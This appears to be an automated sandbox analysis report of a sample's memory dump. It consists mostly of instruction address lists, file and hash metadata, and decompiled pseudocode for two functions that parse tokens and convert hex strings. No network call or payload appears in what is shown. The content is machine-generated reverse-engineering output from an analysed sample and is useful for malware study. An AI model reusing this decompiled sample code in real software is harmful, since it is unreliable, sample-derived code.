0x00eeb2b8
0x00f0d20d
0x00f0d20f
0x00f0d211
0x00f0d218
0x00f0d218
0x00f0d211
0x00eeb2b8
0x00eeb2af
0x00eeb2a6
0x00eeb2be
0x00eeb2be
0x00eeb2c5
0x00eeb2ce
0x00eeb2d1
0x00eeb2d4
0x00eeb2d7
0x00f0d222
0x00f0d223
0x00f0d226
0x00000000
0x00000000
0x00f0d22c
0x00000000
0x00f0d243
0x00f0d246
0x00000000
0x00000000
0x00f0d236
0x00f0d23b
0x00000000
0x00000000
0x00f0d24d
0x00f0d250
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0d261
0x00f0d266
0x00f0d26b
0x00f0d26e
0x00f0d270
0x00f0d287
0x00f0d287
0x00f0d276
0x00f0d276
0x00f0d279
0x00f0d27e
0x00f0d280
0x00f0d280
0x00f0d280
0x00f0d280
0x00f0d289
0x00f0d28b
0x00f0d28f
0x00f0d295
0x00f0d298
0x00f0d298
0x00000000
0x00000000
0x00f0d257
0x00f0d25a
0x00000000
0x00000000
0x00f0d29f
0x00f0d2a3
0x00f0d2a9
0x00f0d2ab
0x00f0d2b0
0x00f0d2b3
0x00f0d2b4
0x00f0d2b6
0x00f0d2bc
0x00f0d2bf
0x00f0d2c1
0x00f0d2c2
0x00f0d2c3
0x00f0d2c9
0x00f0d2cb
0x00f0d2d1
0x00f0d2d3
0x00f0d2d4
0x00f0d2da
0x00f0d2dc
0x00f0d2dd
0x00f0d2e2
0x00f0d2e5
0x00f0d2e5
0x00f0d2cb
0x00000000
0x00000000
0x00f0d2f0
0x00f0d2f3
0x00000000
0x00000000
0x00f0d2fa
0x00f0d2fc
0x00f0d301
0x00f0d304
0x00f0d306
0x00000000
0x00000000
0x00f0d30c
0x00f0d311
0x00f0d316
0x00000000
0x00000000
0x00f0d326
0x00f0d328
0x00f0d32d
0x00f0d32f
0x00f0d332
0x00f0d334
0x00f0d336
0x00f0d338
0x00f0d33a
0x00f0d33d
0x00f0d33f
0x00f0d370
0x00f0d372
0x00f0d377
0x00f0d379
0x00f0d37c
0x00f0d37e
0x00f0d381
0x00f0d384
0x00f0d345
0x00f0d345
0x00f0d346
0x00f0d34b
0x00f0d34d
0x00f0d350
0x00f0d352
0x00f0d354
0x00f0d357
0x00f0d35a
0x00f0d35e
0x00f0d363
0x00f0d368
0x00000000
0x00000000
0x00f0d38c
0x00f0d38e
0x00f0d393
0x00f0d396
0x00f0d398
0x00f0d31d
0x00f0d31d
0x00f0d31f
0x00000000
0x00f0d31f
0x00f0d39a
0x00f0d39f
0x00f0d3a4
0x00000000
0x00000000
0x00f0d22c
0x00eeb2dd
0x00eeb2dd
0x00eeb2df
0x00eeb2e4
0x00eeb2e9
0x00f0d3ab
0x00eeb2ef
0x00eeb2ef
0x00eeb2f4
0x00eeb2f9
0x00eeb2ff
0x00eeb302
0x00eeb305
0x00eeb308
0x00eeb308
0x00eeb30a
0x00000000
0x00eeb30a
0x00eeb294
0x00eeb27d
0x00eeb3a6
0x00eeb3a9
0x00eeb3ac
0x00f0d15c
0x00000000
0x00f0d164
0x00eeb3b2
0x00000000
0x00eeb509
0x00eeb50c
0x00eeb50d
0x00eeb50e
0x00eeb51a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0c9e4
0x00f0c9ea
0x00f0c9f1
0x00f0c9f4
0x00f0c9f8
0x00000000
0x00000000
0x00eeb53b
0x00eeb54c
0x00000000
0x00000000
0x00eeb58c
0x00eeb59d
0x00000000
0x00000000
0x00eeb57a
0x00eeb589
0x00000000
0x00000000
0x00eeb5a0
0x00eeb5af
0x00000000
0x00000000
0x00eeb565
0x00eeb56a
0x00eeb577
0x00000000
0x00000000
0x00eeb51d
0x00eeb52e
0x00000000
0x00000000
0x00eeb3b9
0x00eeb3bf
0x00eeb3c2
0x00eeb3c9
0x00eeb3cc
0x00eeb3cf
0x00eeb3d2
0x00f0ca27
0x00f0ca2a
0x00eeb3d8
0x00eeb3d8
0x00eeb3db
0x00eeb3db
0x00eeb3de
0x00eeb3e2
0x00eeb3e5
0x00eeb3e8
0x00f0ca35
0x00f0ca3f
0x00f0ca44
0x00f0ca46
0x00000000
0x00000000
0x00f0ca4c
0x00f0ca50
0x00000000
0x00f0ca56
0x00f0ca5d
0x00f0ca69
0x00f0ca6b
0x00f0ca6b
0x00eeb3ee
0x00eeb3ee
0x00eeb3f2
0x00f0ca8d
0x00f0ca90
0x00f0ca96
0x00f0ca99
0x00f0ca9b
0x00f0ca9e
0x00f0caa3
0x00f0caa6
0x00f0ca72
0x00f0ca75
0x00000000
0x00f0caa8
0x00f0caaf
0x00f0cab2
0x00f0cab7
0x00f0cab9
0x00f0cabd
0x00f0cac4
0x00f0cac9
0x00f0cad0
0x00f0cad4
0x00f0cadc
0x00f0cae1
0x00f0cae4
0x00f0cae6
0x00f0caf0
0x00f0caf8
0x00f0cafc
0x00f0cb01
0x00f0cb01
0x00f0cb01
0x00f0cb0d
0x00f0cb0d
0x00eeb3f8
0x00eeb3f8
0x00eeb3fe
0x00eeb403
0x00eeb406
0x00eeb408
0x00f0cb15
0x00f0cb1a
0x00f0cb1a
0x00eeb40e
0x00eeb411
0x00eeb414
0x00f0cb22
0x00f0cb25
0x00f0cb27
0x00f0cb2d
0x00f0cb2e
0x00f0cb37
0x00f0cb38
0x00f0cb3d
0x00f0cb3d
0x00eeb41a
0x00eeb41a
0x00eeb41d
0x00f0cb45
0x00f0cb48
0x00f0cb4a
0x00f0cb51
0x00f0cb51
0x00eeb423
0x00eeb423
0x00eeb426
0x00f0cb5e
0x00eeb42c
0x00eeb42c
0x00eeb42f
0x00f0cb6e
0x00f0cb6f
0x00f0cb7a
0x00f0cb7b
0x00f0cb80
0x00eeb435
0x00eeb435
0x00eeb438
0x00f0cb88
0x00f0cb8b
0x00f0cb8d
0x00f0cb94
0x00f0cb94
0x00f0cb8d
0x00eeb438
0x00eeb42f
0x00eeb426
0x00eeb41d
0x00eeb43e
0x00eeb440
0x00eeb447
0x00eeb449
0x00eeb44c
0x00eeb455
0x00eeb45b
0x00eeb45e
0x00f0cb9e
0x00f0cb9f
0x00f0cba1
0x00f0cba3
0x00f0cba6
0x00000000
0x00f0cbac
0x00f0cbac
0x00000000
0x00f0cbf8
0x00f0cbfa
0x00f0cbff
0x00f0cc02
0x00f0cc04
0x00f0cc09
0x00f0cc0b
0x00000000
0x00f0cc0d
0x00000000
0x00f0cc0d
0x00000000
0x00000000
0x00f0cc13
0x00f0cc18
0x00f0cc1c
0x00f0cc1f
0x00f0cc21
0x00f0cc26
0x00f0cc28
0x00000000
0x00f0cc2a
0x00f0cc2a
0x00000000
0x00f0cc30
0x00f0cc30
0x00f0cc33
0x00000000
0x00f0cc35
0x00000000
0x00f0cc35
0x00f0cc33
0x00f0cc2a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cbb8
0x00f0cbca
0x00f0cbcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cc3b
0x00f0cc40
0x00f0cc44
0x00f0cc46
0x00f0cc4b
0x00f0cc4d
0x00000000
0x00f0cc4f
0x00000000
0x00f0cc4f
0x00000000
0x00000000
0x00f0cbac
0x00eeb464
0x00eeb464
0x00eeb467
0x00f0cc54
0x00f0cc57
0x00f0cc5a
0x00f0cd0e
0x00f0cd0e
0x00f0cc60
0x00f0cc60
0x00000000
0x00f0cce6
0x00f0cce8
0x00000000
0x00000000
0x00f0cc67
0x00000000
0x00000000
0x00f0cc70
0x00f0cc73
0x00f0cc75
0x00f0cc77
0x00f0cc79
0x00f0cc7d
0x00f0ccb3
0x00f0ccb4
0x00f0cc83
0x00f0cc83
0x00f0cc87
0x00f0cc8a
0x00f0cc99
0x00f0cc9b
0x00f0cca3
0x00f0cca8
0x00f0ccab
0x00f0cc90
0x00f0cc90
0x00f0cc93
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cc93
0x00f0cc8a
0x00f0ccbc
0x00f0ccbf
0x00f0ccc2
0x00f0ccc5
0x00f0cdca
0x00f0cdcd
0x00f0cccb
0x00f0cccb
0x00f0cccc
0x00f0cccf
0x00000000
0x00f0ccd5
0x00f0ccd5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0ccd5
0x00f0cccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0ccfb
0x00f0ccfd
0x00000000
0x00f0cd03
0x00f0cd03
0x00f0cd05
0x00f0cd05
0x00000000
0x00000000
0x00f0ccef
0x00f0ccf1
0x00f0ccf3
0x00000000
0x00000000
0x00f0ccdc
0x00f0ccdc
0x00f0ccdf
0x00000000
0x00000000
0x00f0cda1
0x00f0cda1
0x00f0cda4
0x00000000
0x00000000
0x00f0cdc1
0x00f0cdc1
0x00f0cdc3
0x00000000
0x00000000
0x00f0cd4c
0x00f0cd4c
0x00f0cd4f
0x00f0cd51
0x00f0cd53
0x00f0cd57
0x00f0cd90
0x00f0cd91
0x00f0cd96
0x00f0cd5d
0x00f0cd5d
0x00f0cd61
0x00f0cd64
0x00f0cd73
0x00f0cd75
0x00f0cd79
0x00f0cd7d
0x00f0cd82
0x00f0cd85
0x00f0cd88
0x00f0cd6a
0x00f0cd6a
0x00f0cd6d
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cd6d
0x00f0cd64
0x00000000
0x00000000
0x00f0cdb8
0x00f0cdb8
0x00f0cdbb
0x00f0cd0c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cdab
0x00f0cdab
0x00f0cdae
0x00f0cdb1
0x00000000
0x00000000
0x00f0cc60
0x00eeb46d
0x00eeb46d
0x00eeb46f
0x00eeb46f
0x00eeb471
0x00eeb471
0x00eeb473
0x00eeb475
0x00eeb478
0x00f0cbd2
0x00f0cbd2
0x00f0cbda
0x00f0cbdf
0x00f0cbe2
0x00f0cbe4
0x00000000
0x00f0cbea
0x00f0cbf1
0x00f0cbf1
0x00eeb47e
0x00eeb47e
0x00eeb47e
0x00eeb487
0x00eeb490
0x00eeb497
0x00eeb49a
0x00f0cd15
0x00f0cd18
0x00f0cd1b
0x00000000
0x00f0cd21
0x00f0cd21
0x00000000
0x00f0cdda
0x00f0cddd
0x00f0cde1
0x00f0cde3
0x00f0cde8
0x00f0cdea
0x00000000
0x00f0cdf0
0x00f0cdf0
0x00000000
0x00f0cdf6
0x00f0cdf6
0x00f0cdf9
0x00000000
0x00f0cdff
0x00000000
0x00f0cdff
0x00f0cdf9
0x00f0cdf0
0x00000000
0x00000000
0x00f0ce04
0x00f0ce06
0x00f0ce0b
0x00f0ce0e
0x00f0ce11
0x00f0ce16
0x00f0ce19
0x00f0ce1b
0x00f0ce1e
0x00000000
0x00f0ce24
0x00000000
0x00f0ce24
0x00000000
0x00000000
0x00f0cd2d
0x00f0cd3a
0x00f0cd3f
0x00f0cd41
0x00000000
0x00f0cd47
0x00000000
0x00f0cd47
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0ce2a
0x00f0ce2f
0x00f0ce33
0x00f0ce35
0x00f0ce3a
0x00f0ce3c
0x00000000
0x00f0ce42
0x00000000
0x00f0ce42
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cd21
0x00eeb4a0
0x00eeb4a0
0x00eeb4a0
0x00eeb4a3
0x00f0ce47
0x00f0ce4a
0x00f0ce4d
0x00f0cef5
0x00f0cef5
0x00000000
0x00f0ce53
0x00f0ce53
0x00000000
0x00000000
0x00000000
0x00f0cea9
0x00f0ceab
0x00f0ceb0
0x00000000
0x00000000
0x00f0ce5d
0x00f0ce5f
0x00f0ce63
0x00f0ce99
0x00f0ce99
0x00f0ce9a
0x00f0ce9f
0x00f0cea2
0x00000000
0x00f0ce69
0x00f0ce69
0x00f0ce6d
0x00f0ce70
0x00f0ce7f
0x00f0ce89
0x00f0ce8e
0x00f0ce91
0x00000000
0x00f0ce76
0x00f0ce76
0x00f0ce79
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0ce79
0x00f0ce70
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0ceb7
0x00f0ceb9
0x00f0cebb
0x00f0cebe
0x00000000
0x00000000
0x00f0cec5
0x00f0cec7
0x00000000
0x00000000
0x00f0cecf
0x00f0ced1
0x00f0ced4
0x00000000
0x00f0ceda
0x00f0ceda
0x00f0cedc
0x00f0cedf
0x00f0cee5
0x00f0ceea
0x00000000
0x00f0ceed
0x00000000
0x00000000
0x00f0ce53
0x00000000
0x00eeb4a9
0x00eeb4a9
0x00eeb4a9
0x00eeb4a9
0x00eeb4ab
0x00eeb4ab
0x00eeb4ae
0x00eeb4b1
0x00eeb4b4
0x00f0cefc
0x00f0ceff
0x00f0cf02
0x00f0cfa4
0x00f0cfa4
0x00f0cf08
0x00f0cf08
0x00000000
0x00000000
0x00000000
0x00f0cf5c
0x00f0cf5e
0x00000000
0x00000000
0x00f0cf12
0x00f0cf14
0x00f0cf18
0x00f0cf4e
0x00f0cf4e
0x00f0cf4f
0x00f0cf54
0x00f0cf1e
0x00f0cf1e
0x00f0cf22
0x00f0cf25
0x00f0cf34
0x00f0cf3e
0x00f0cf43
0x00f0cf46
0x00f0cf2b
0x00f0cf2b
0x00f0cf2e
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cf2e
0x00f0cf25
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0cf68
0x00f0cf6a
0x00f0cf6c
0x00000000
0x00000000
0x00f0cf74
0x00f0cf76
0x00000000
0x00000000
0x00f0cf7e
0x00f0cf80
0x00f0cf83
0x00000000
0x00f0cf89
0x00f0cf89
0x00f0cf8b
0x00f0cf8e
0x00f0cf94
0x00f0cf99
0x00f0cf9c
0x00000000
0x00000000
0x00f0cf08
0x00eeb4ba
0x00eeb4ba
0x00eeb4ba
0x00eeb4ba
0x00eeb4bc
0x00eeb4bc
0x00eeb4be
0x00eeb531
0x00eeb534
0x00eeb4c0
0x00eeb4c0
0x00eeb4c6
0x00eeb4c6
0x00eeb4c7
0x00eeb4c7
0x00eeb4be
0x00eeb49a
0x00eeb478
0x00eeb45e
0x00eeb3f2
0x00eeb4c9
0x00eeb4c9
0x00eeb4cc
0x00eeb4cf
0x00eeb4d1
0x00f0cfac
0x00f0cfb1
0x00f0cfb4
0x00f0cfb4
0x00eeb4d7
0x00eeb4da
0x00f0cfbc
0x00f0cfbf
0x00f0cfc1
0x00f0cfc7
0x00f0cfc8
0x00f0cfd1
0x00000000
0x00f0cfd7
0x00eeb4e0
0x00eeb4e0
0x00eeb4e3
0x00f0cfdf
0x00f0cfe2
0x00f0cfe4
0x00000000
0x00f0cfeb
0x00eeb4e9
0x00eeb4e9
0x00eeb4ec
0x00000000
0x00f0cff8
0x00eeb4f2
0x00eeb4f5
0x00f0d008
0x00f0d009
0x00f0d014
0x00000000
0x00f0d01a
0x00eeb4fb
0x00eeb4fe
0x00f0d022
0x00f0d025
0x00f0d027
0x00000000
0x00f0d02e
0x00f0d027
0x00eeb4fe
0x00eeb4e3
0x00eeb3a3
0x00000000
0x00000000
0x00f0ca04
0x00000000
0x00000000
0x00f0ca14
0x00000000
0x00000000
0x00f0d038
0x00f0d03b
0x00f0d03c
0x00000000
0x00000000
0x00f0d047
0x00f0d04d
0x00f0d052
0x00f0d055
0x00f0d058
0x00000000
0x00000000
0x00f0d05f
0x00000000
0x00000000
0x00f0d06f
0x00f0d073
0x00000000
0x00000000
0x00f0d0a6
0x00000000
0x00000000
0x00f0d0b8
0x00000000
0x00000000
0x00f0d0ca
0x00000000
0x00000000
0x00f0d0dc
0x00000000
0x00000000
0x00f0d095
0x00000000
0x00000000
0x00f0d0ed
0x00000000
0x00000000
0x00f0d109
0x00f0d10d
0x00f0d114
0x00f0d117
0x00f0d11b
0x00f0d11f
0x00f0d125
0x00f0d129
0x00f0d12e
0x00f0d131
0x00f0d134
0x00f0d135
0x00000000
0x00000000
0x00f0d0fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00eeb54f
0x00eeb552
0x00eeb555
0x00eeb562
0x00000000
0x00000000
0x00f0d13c
0x00000000
0x00000000
0x00f0d14c
0x00000000
0x00000000
0x00f0d084
0x00000000
0x00000000

APIs

VariantClear.OLEAUT32 ref: 00F0D1B8

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 4828a2552ea7822f53a164a75e6e77de67ef9f2ee3967f0182d60149ca58b30c
Instruction ID: 7a8ba5f78c419a5b26623a44a3e8d32dd3d81227b154a35e7bd6fcd00e72ad6f
Opcode Fuzzy Hash: 4828a2552ea7822f53a164a75e6e77de67ef9f2ee3967f0182d60149ca58b30c
Instruction Fuzzy Hash: E991CF70A00248DFDB10DFA9C8C2AAEB3F5EF09314F24C459E815AB295DB71EC41DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EEC440, Relevance: 3.2, APIs: 2, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00EEC440(signed int* __eax, void* __eflags, void* __fp0, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v12;
				char _v16;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t61;
				intOrPtr _t62;
				char _t66;
				char _t72;
				char _t80;
				char _t84;
				char _t91;
				intOrPtr _t92;
				signed int* _t115;
				signed int _t116;
				char _t118;
				void* _t121;

				_t133 = __fp0;
				_t92 = _a8;
				_t115 = __eax;
				_v12 = 0;
				_v16 = 0;
				_t110 =  *( *(_t92 + 4) +  *__eax * 4);
				_t100 = 0;
				E00EEC510(0,  *( *( *(_t92 + 4) +  *__eax * 4)),  &_v12,  &_v16);
				_t118 = _v12;
				if(_t118 == 0) {
					E00F3E724(__fp0, _a4, 0x79,  *((short*)( *((intOrPtr*)( *(_t92 + 4) +  *_t115 * 4)) + 0xa)));
					L13:
					return 1;
				}
				 *_t115 =  *_t115 + 1;
				if( *((intOrPtr*)(_t118 + 8)) == 5) {
					_t110 =  *(_t92 + 4);
					_t61 =  *((intOrPtr*)( *(_t92 + 4) +  *_t115 * 4));
					__eflags =  *((short*)(_t61 + 8)) - 0x4e;
					if( *((short*)(_t61 + 8)) != 0x4e) {
						goto L2;
					}
					_t110 = _a4;
					_t100 = _t92;
					_t91 = E00EEC730(_t115, _t92, __fp0, _a4,  &_v12, 1);
					__eflags = _t91;
					if(_t91 != 0) {
						goto L13;
					} else {
						_t118 = _v12;
						goto L2;
					}
				}
				L2:
				_t62 =  *((intOrPtr*)(_t118 + 8));
				if(_t62 == 8) {
					E00EEBBB0(_t118, _t121 - 0x10, _t100, _t115);
					_t119 = _a8;
					_push(_a12);
					_push(_t115);
					_push(_a8);
					_t66 = E00F5E20C(_a4, __eflags, _t133);
					__eflags = _t66;
					if(_t66 != 0) {
						E00F3E724(_t133, _a4, 0xaa,  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t119 + 4)) +  *_t115 * 4)) + 0xa)));
						return 1;
					}
					L7:
					return 0;
				}
				if(_t62 == 5) {
					L5:
					_t95 = _a12;
					E00EE90D0(_a12, _t100, _t118); // executed
					_t116 = _a4;
					if( *((char*)(_t116 + 0xfd)) != 0 ||  *((char*)(_t116 + 0xfe)) != 0) {
						_t72 = E00F23737(_t95);
						__eflags = _t72;
						if(_t72 != 0) {
							_t96 =  &_v32;
							E00EEBBB0(_t95,  &_v32, _t100, _t116);
							__eflags =  *((char*)(_t116 + 0xfd));
							if(__eflags != 0) {
								E00F37EDD(_t110, __eflags, _t133,  &_v32);
								_t84 = E00EF10E1(E00F33381(_t96));
								_t121 = _t121 + 4;
								__eflags = _t84;
								if(_t84 == 0) {
									E00EE90D0(_t96, _t100, _t118);
								}
							}
							__eflags =  *((char*)(_t116 + 0xfe));
							if(__eflags != 0) {
								E00F52F01( &_v32, __eflags, _t133, _t116,  &_v32);
								_t80 = E00EF10E1(E00F33381( &_v32));
								__eflags = _t80;
								if(_t80 == 0) {
									E00EE90D0( &_v32, _t100, _t118);
								}
							}
							E00EE90D0(_a12,  &_v32,  &_v32);
							E00EE9190(_t116,  &_v32);
						}
					}
					goto L7;
				}
				_t110 =  *_t115;
				_t87 =  *((intOrPtr*)( *(_t92 + 4) +  *_t115 * 4));
				if( *((short*)( *((intOrPtr*)( *(_t92 + 4) +  *_t115 * 4)) + 8)) == 0x4e) {
					E00F3E724(_t133, _a4, 0x7c,  *((short*)(_t87 + 0xa)));
					return 1;
				}
				goto L5;
			}

0x00eec440
0x00eec447
0x00eec44c
0x00eec452
0x00eec455
0x00eec45f
0x00eec468
0x00eec46a
0x00eec46f
0x00eec474
0x00f095f2
0x00f095f7
0x00000000
0x00f095f7
0x00eec47a
0x00eec480
0x00eec4d9
0x00eec4dc
0x00eec4df
0x00eec4e4
0x00000000
0x00000000
0x00eec4e6
0x00eec4f2
0x00eec4f4
0x00eec4f9
0x00eec4fb
0x00000000
0x00eec501
0x00eec501
0x00000000
0x00eec501
0x00eec4fb
0x00eec482
0x00eec482
0x00eec488
0x00f09608
0x00f09610
0x00f09616
0x00f09617
0x00f09618
0x00f09619
0x00f0961e
0x00f09620
0x00f0963c
0x00000000
0x00f09641
0x00eec4cc
0x00000000
0x00eec4cc
0x00eec491
0x00eec4a6
0x00eec4a6
0x00eec4aa
0x00eec4af
0x00eec4b9
0x00f09666
0x00f0966b
0x00f0966d
0x00f09675
0x00f09678
0x00f0967d
0x00f09684
0x00f09687
0x00f09693
0x00f09698
0x00f0969b
0x00f0969d
0x00f096a0
0x00f096a0
0x00f0969d
0x00f096a5
0x00f096ac
0x00f096b3
0x00f096c2
0x00f096ca
0x00f096cc
0x00f096d2
0x00f096d2
0x00f096cc
0x00f096de
0x00f096e6
0x00f096e6
0x00f0966d
0x00000000
0x00eec4b9
0x00eec493
0x00eec498
0x00eec4a0
0x00f09656
0x00000000
0x00f0965b
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8650251fd6e8b3f8719f8c3f1bbd33aa13fd4ad03b92940342c50973995fb9
Instruction ID: 8b5cd2ee76777a4cd1ed469cc29bc69cd969f65687564f473e3f4beb765e6d8e
Opcode Fuzzy Hash: bf8650251fd6e8b3f8719f8c3f1bbd33aa13fd4ad03b92940342c50973995fb9
Instruction Fuzzy Hash: AC51C571A04249ABDB24DF65C881EBFB7F8AF44300F149059F919AB282E779ED81D790

Uniqueness

Uniqueness Score: -1.00%

Function 00F46C11, Relevance: 3.1, APIs: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00F46C11(signed int _a4) {
				char* _v12;
				char _v16;
				char _v32;
				void* __edi;
				void* __esi;
				signed int* _t29;
				signed int _t31;
				signed int* _t33;
				signed int** _t49;
				signed int _t57;

				_t49 = _a4;
				_t29 = _t49[2];
				if(_t29 != 0xb) {
					_t31 = _t29 - 1;
					if(_t31 > 9) {
						L20:
						_t57 = 0;
						__eflags = 0;
						goto L21;
					} else {
						switch( *((intOrPtr*)(_t31 * 4 +  &M00F46D81))) {
							case 0:
								__edx =  *__ebx;
								__edi = 4;
								goto L11;
							case 1:
								__eax =  *__ebx;
								__ecx =  *((intOrPtr*)(__ebx + 4));
								__edi = 8;
								_v16 =  *__ebx;
								_v12 =  *((intOrPtr*)(__ebx + 4));
								goto L12;
							case 2:
								__edi = 8;
								_v16 =  *__ebx;
								goto L12;
							case 3:
								_t60 = _t49[3];
								if( *((short*)(E00F16482(_t60, 0))) != 0x30) {
									L8:
									_t57 = _t60[1];
									_t72 = _t57;
									if(_t57 == 0) {
										L21:
										_push(1);
										_t32 = E00EF14F7(_t57, _t60, __eflags);
										_t63 = _t62 + 4;
										_a4 = _t32;
										 *_t32 = 0;
									} else {
										_push(_t57);
										_a4 = E00EF14F7(_t57, _t60, _t72);
										E00F22E01( &_v32, _t57,  &_v32, _t57);
										E00F3875F( &_v32, _t57, _t60,  &_v32);
										E00EF0D80(_a4, _v32, _t57);
										_t63 = _t62 + 0x10;
										_t60 =  &_v32;
										E00EE1590( &_v32);
									}
								} else {
									if( *((short*)(E00F16482(_t60, 1))) == 0x78) {
										L6:
										_t57 = _t60[1] - 2 >> 1;
										_push(_t57); // executed
										_t44 = E00EF14F7(_t57, _t60, _t70); // executed
										_a4 = _t44;
										_t45 = E00F12D58(_t54, _t70,  *_t60 + 4, _t44);
										_t63 = _t62 + 0xc;
										if(_t45 == 0) {
											_push(_a4);
											E00EF10FC();
											_t62 = _t63 + 4;
											goto L8;
										}
									} else {
										_t48 = E00F16482(_t60, 1);
										_t70 =  *_t48 - 0x58;
										if( *_t48 != 0x58) {
											goto L8;
										} else {
											goto L6;
										}
									}
								}
								goto L13;
							case 4:
								__ebx = E00EEE470(__ebx, __esi);
								goto L20;
							case 5:
								goto L20;
							case 6:
								__edi = 1;
								_v16 =  *__ebx;
								goto L12;
							case 7:
								__ecx =  *__ebx;
								__edx =  *((intOrPtr*)( *__ebx + 4));
								__edi = 4;
								L11:
								_v16 = __edx;
								L12:
								_push(__edi);
								__eax = E00EF14F7(__edi, __esi, __eflags);
								__ecx =  &_v16;
								_a4 = __eax;
								__eax = E00EF0D80(__eax,  &_v16, __edi);
								goto L13;
						}
					}
					L13:
					_push(8);
					_t33 = E00EF14F7(_t57, _t60, _t72);
					 *_t49 = _t33;
					 *_t33 = _t57;
					( *_t49)[1] = _a4;
					E00EE3FB0(_t49);
					_t49[2] = 0xb;
				}
				return 1;
			}

0x00f46c18
0x00f46c1b
0x00f46c23
0x00f46c29
0x00f46c2d
0x00f46d6a
0x00f46d6a
0x00f46d6a
0x00000000
0x00f46c33
0x00f46c33
0x00000000
0x00f46cdd
0x00f46cdf
0x00000000
0x00000000
0x00f46d2d
0x00f46d2f
0x00f46d32
0x00f46d37
0x00f46d3a
0x00000000
0x00000000
0x00f46d41
0x00f46d46
0x00000000
0x00000000
0x00f46c3a
0x00f46c49
0x00f46c97
0x00f46c97
0x00f46c9a
0x00f46c9c
0x00f46d6c
0x00f46d6c
0x00f46d6e
0x00f46d73
0x00f46d76
0x00f46d79
0x00f46ca2
0x00f46ca2
0x00f46cb0
0x00f46cb3
0x00f46cbd
0x00f46ccb
0x00f46cd0
0x00f46cd3
0x00f46cd6
0x00f46cd6
0x00f46c4b
0x00f46c57
0x00f46c67
0x00f46c6d
0x00f46c6f
0x00f46c70
0x00f46c7c
0x00f46c7f
0x00f46c84
0x00f46c89
0x00f46c8e
0x00f46c8f
0x00f46c94
0x00000000
0x00f46c94
0x00f46c59
0x00f46c5c
0x00f46c61
0x00f46c65
0x00000000
0x00000000
0x00000000
0x00000000
0x00f46c65
0x00f46c57
0x00000000
0x00000000
0x00f46d65
0x00000000
0x00000000
0x00000000
0x00000000
0x00f46d4d
0x00f46d52
0x00000000
0x00000000
0x00f46d57
0x00f46d59
0x00f46d5c
0x00f46ce4
0x00f46ce4
0x00f46ce7
0x00f46ce7
0x00f46ce8
0x00f46cee
0x00f46cf3
0x00f46cf6
0x00000000
0x00000000
0x00f46c33
0x00f46cfe
0x00f46cfe
0x00f46d00
0x00f46d05
0x00f46d07
0x00f46d13
0x00f46d16
0x00f46d1b
0x00f46d1b
0x00f46d2a

APIs

_memmove.LIBCMT ref: 00F46CCB
_memmove.LIBCMT ref: 00F46CF6

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b630ce7b8460eac006af40184d96ef7093c0aeb0ba25428384d256a80df2b0c7
Instruction ID: 664cabe0f6e71d27bfc377ccf396429e74fdbe9f144bb9351d8260221b5fc7ee
